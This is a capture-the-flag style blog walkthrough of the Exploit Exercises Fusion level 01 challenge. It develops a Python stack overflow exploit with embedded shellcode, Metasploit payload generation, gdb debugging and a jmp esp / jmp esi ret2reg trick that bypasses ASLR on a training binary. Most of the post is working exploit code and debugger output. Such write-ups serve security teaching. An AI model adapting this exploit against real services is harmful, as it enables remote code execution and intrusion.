Exploit Exercises - Fusion 01

It’s been a while since I last did a write-up about Exploit Exercises. I’m starting to look back at it now, since I have some more free time again. I’ve now, as I’m sure you can guess by the title of this post, solved level 01.

So this level is very similar to the first, except that it has ASLR and doesn’t tell us where the buffer is on every execution. Even if it did tell us, due to the ASLR, it very well may change every time it’s executed. Based on this information, I went down the road of using a ret2reg method.

So let’s start with the code we used on level 00, but change the comments and port numbers to be more appropriate:

# Fusion Level 01
# http://exploit-exercises.com/fusion/level01
# Matt Andreko
# twitter: @mandreko
# contact: matt [at] mattandreko.com

from sys import exit
from struct import pack
from optparse import OptionParser
from socket import *

def exploit(hostname, port):
        junk = "A"*139
        ret = pack("<I", 0xbffff999)
        nops = "\x90"*100
        shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0f\x00\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x70\x6f\x6f\x00\x57\x53\x89\xe1\xcd\x80"

        s = socket(AF_INET, SOCK_STREAM)
        try:
                print "[*] Connecting to %s on port %s" % (hostname, port)
                s.connect((hostname, port))
        except:
                print "[*] Connection error"
                exit(1)

        print s.recv(1024)
        s.send("GET /" + junk + ret + " HTTP/1.1\n" + nops + shellcode)


if __name__ == "__main__":
    parser = OptionParser("usage: %prog [options]")
    parser.add_option("-H", "--host", dest="hostname", default="127.0.0.1",
     type="string", help="Target to run against")
    parser.add_option("-p", "--port", dest="portnum", default=20001,
     type="int", help="Target port")

    (options, args) = parser.parse_args()

    exploit(options.hostname, options.portnum)

Now to start out, let’s generate some new shellcode, to touch a file in /tmp:

fusion@fusion:/opt/metasploit-framework$ ./msfpayload linux/x86/exec CMD="touch /tmp/level01" C
/*
* linux/x86/exec - 54 bytes
* http://www.metasploit.com
* VERBOSE=false, PrependSetresuid=false,
* PrependSetreuid=false, PrependSetuid=false,
* PrependChrootBreak=false, AppendExit=false, CMD=touch
* /tmp/level01
*/
unsigned char buf[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x13\x00\x00\x00\x74"
"\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x65\x76\x65\x6c"
"\x30\x31\x00\x57\x53\x89\xe1\xcd\x80";

Now to debug, let’s change the return address to 0xDEADBEEF to generate an error, since we no longer know where the buffer will be. I also removed the “/” after the “GET”, as well as the “\n” after the “HTTP/1.1” since they’re really just junk getting in the way. Additionally, since the buffer isn’t being printed to the screen, the “recv(1024)” code needed to be removed so the program didn’t wait for it.

Now, our codebase looks like this:

# Fusion Level 01
# http://exploit-exercises.com/fusion/level01
# Matt Andreko
# twitter: @mandreko
# contact: matt [at] mattandreko.com

from sys import exit
from struct import pack
from optparse import OptionParser
from socket import *

def exploit(hostname, port):
        junk = "A"*139
        ret = pack("<I", 0xDEADBEEF)
        nops = "\x90"*100
        shellcode = ("\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x13\x00\x00\x00\x74"
"\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x65\x76\x65\x6c"
"\x30\x31\x00\x57\x53\x89\xe1\xcd\x80")

        s = socket(AF_INET, SOCK_STREAM)
        try:
                print "[*] Connecting to %s on port %s" % (hostname, port)
                s.connect((hostname, port))
        except:
                print "[*] Connection error"
                exit(1)

        s.send("GET " + junk + ret + " HTTP/1.1" + nops + shellcode)


if __name__ == "__main__":
    parser = OptionParser("usage: %prog [options]")
    parser.add_option("-H", "--host", dest="hostname", default="127.0.0.1",
     type="string", help="Target to run against")
    parser.add_option("-p", "--port", dest="portnum", default=20001,
     type="int", help="Target port")

    (options, args) = parser.parse_args()

    exploit(options.hostname, options.portnum)

As expected, when it was ran, it crashed, and dumped a core.

fusion@fusion:~$ ./level01.py
[*] Connecting to 127.0.0.1 on port 20001
fusion@fusion:~$ ls /tmp
core-level01-11-20001-20001-2222-1341317061

So I loaded it into gdb to look at the dump.

fusion@fusion:~$ sudo gdb -q --core=/tmp/core-level01-11-20001-20001-2222-1341317061
[New LWP 2222]
Core was generated by `/opt/fusion/bin/level01'.
Program terminated with signal 11, Segmentation fault.
#0  0xdeadbeef in ?? ()
(gdb) i r
eax            0x1      1
ecx            0xb772d8d0       -1217210160
edx            0xbfa65d90       -1079616112
ebx            0xb78a5ff4       -1215668236
esp            0xbfa65d90       0xbfa65d90
ebp            0x41414141       0x41414141
esi            0xbfa65e44       -1079615932
edi            0x8049ed1        134520529
eip            0xdeadbeef       0xdeadbeef
eflags         0x10246  [ PF ZF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51

Initially, this shows that our return address did get hit successfully, since “0xdeadbeef” is the overwritten EIP. I then started exploring each of the registers to see if there was anything of interest. I found that my shellcode was actually being stored in the esi register, or at least the start of the nop-sled was:

(gdb) x/10x $esi
0xbfa65e44:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfa65e54:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfa65e64:     0x90909090      0x90909090

I immediately thought this was going to be the end of the challenge, since I could just ‘jmp esi’. However, when looking for that opcode, I couldn’t find it:

fusion@fusion:/opt/metasploit-framework$ ./msfelfscan -j esi /opt/fusion/bin/level01
[/opt/fusion/bin/level01]

Trying to find another way, I looked at the stack pointer, with a little extra surrounding it to see what’s on each side:

(gdb)  x/16x $esp-16
0xbfa65d80:     0x41414141      0x41414141      0x41414141      0xdeadbeef
0xbfa65d90:     0xbfa65d00      0x00000020      0x00000004      0x00000000
0xbfa65da0:     0x001761e4      0xbfa65e30      0x20544547      0x41414141
0xbfa65db0:     0x41414141      0x41414141      0x41414141      0x41414141

So if our stack pointer is at 0xbfa65d90, the byte right after our return (0xdeadbeef), then we could return to the esp, and then redirect to the esi! Let’s test this by changing the return address to a ‘jmp esp’, and making the next byte a debug opcode to halt the program.

Luckily this time we have a valid address for our register:

fusion@fusion:/opt/metasploit-framework$ ./msfelfscan -j esp /opt/fusion/bin/level01
[/opt/fusion/bin/level01]
0x08049f4f jmp esp

So now our code looks like this:

# Fusion Level 01
# http://exploit-exercises.com/fusion/level01
# Matt Andreko
# twitter: @mandreko
# contact: matt [at] mattandreko.com

from sys import exit
from struct import pack
from optparse import OptionParser
from socket import *

def exploit(hostname, port):
        junk = "A"*139
        ret = pack("<I", 0x08049f4f)
        esi = "\xCC"
        nops = "\x90"*100
        shellcode = ("\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x13\x00\x00\x00\x74"
"\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x65\x76\x65\x6c"
"\x30\x31\x00\x57\x53\x89\xe1\xcd\x80")

        s = socket(AF_INET, SOCK_STREAM)
        try:
                print "[*] Connecting to %s on port %s" % (hostname, port)
                s.connect((hostname, port))
        except:
                print "[*] Connection error"
                exit(1)

        s.send("GET " + junk + ret + esi + " HTTP/1.1" + nops + shellcode)


if __name__ == "__main__":
    parser = OptionParser("usage: %prog [options]")
    parser.add_option("-H", "--host", dest="hostname", default="127.0.0.1",
     type="string", help="Target to run against")
    parser.add_option("-p", "--port", dest="portnum", default=20001,
     type="int", help="Target port")

    (options, args) = parser.parse_args()

    exploit(options.hostname, options.portnum)

Once it’s executed, I load it into gdb again to poke around.

fusion@fusion:~$ ./level01.py
[*] Connecting to 127.0.0.1 on port 20001
fusion@fusion:~$ ls /tmp
core-level01-5-20001-20001-2353-1341318366
fusion@fusion:~$ sudo gdb -q --core=/tmp/core-level01-5-20001-20001-2353-1341318366
[New LWP 2353]
Core was generated by `/opt/fusion/bin/level01'.
Program terminated with signal 5, Trace/breakpoint trap.
#0  0xbfa65d91 in ?? ()
(gdb) x/16x $esp-16
0xbfa65d80:     0x41414141      0x41414141      0x41414141      0x08049f4f
0xbfa65d90:     0xbfa600cc      0x00000020      0x00000004      0x00000000
0xbfa65da0:     0x001761e4      0xbfa65e30      0x20544547      0x41414141
0xbfa65db0:     0x41414141      0x41414141      0x41414141      0x41414141

Well it looks like it hit our debug point. Let’s try replacing the “\xCC” with the opcodes for “jmp esi”. But first we have to find what that opcode actually is. I found a decent enough method for now on stackoverflow, which I modified a little for my needs. I’d like to find something better for the future though.

fusion@fusion:~$ echo -e "BITS 32\njmp esi" > tmp.S && nasm tmp.S -o tmp.o && ndisasm -b 32 tmp.o && rm -f tmp.o tmp.S
00000000  FFE6              jmp esi

Since this is a 2 byte instruction, we will need to pad the end of it to 4 bytes, to align it properly. I simply used “\x90” nops to do so, giving us the value “0x9090E6FF”.

That leaves us with the final code:

# Fusion Level 01
# http://exploit-exercises.com/fusion/level01
# Matt Andreko
# twitter: @mandreko
# contact: matt [at] mattandreko.com

from sys import exit
from struct import pack
from optparse import OptionParser
from socket import *

def exploit(hostname, port):
        junk = "A"*139
        ret = pack("<I", 0x08049f4f)
        esi = pack("<I", 0x9090E6FF)
        nops = "\x90"*100
        shellcode = ("\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x13\x00\x00\x00\x74"
"\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x65\x76\x65\x6c"
"\x30\x31\x00\x57\x53\x89\xe1\xcd\x80")

        s = socket(AF_INET, SOCK_STREAM)
        try:
                print "[*] Connecting to %s on port %s" % (hostname, port)
                s.connect((hostname, port))
        except:
                print "[*] Connection error"
                exit(1)

        s.send("GET " + junk + ret + esi + " HTTP/1.1" + nops + shellcode)


if __name__ == "__main__":
    parser = OptionParser("usage: %prog [options]")
    parser.add_option("-H", "--host", dest="hostname", default="127.0.0.1",
     type="string", help="Target to run against")
    parser.add_option("-p", "--port", dest="portnum", default=20001,
     type="int", help="Target port")

    (options, args) = parser.parse_args()

    exploit(options.hostname, options.portnum)

Now if we execute our exploit, it works just fine, bypassing ASLR and everything.

fusion@fusion:~$ ls -al /tmp
fusion@fusion:~$ ./level01.py
[*] Connecting to 127.0.0.1 on port 20001
fusion@fusion:~$ ls -al /tmp
total 8
drwxrwxrwt  2 root  root  4096 2012-07-03 23:32 .
drwxr-xr-x 22 root  root  4096 2012-05-07 21:53 ..
-rw-r--r--  1 20001 20001    0 2012-07-03 23:32 level01

There you have it. Our shellcode to “touch /tmp/level01” executed as the uid 20001. That shellcode could then be replaced with something more malicious (read: meterpreter/bindshell) if desired. But for PoC, that works.

comments powered by Disqus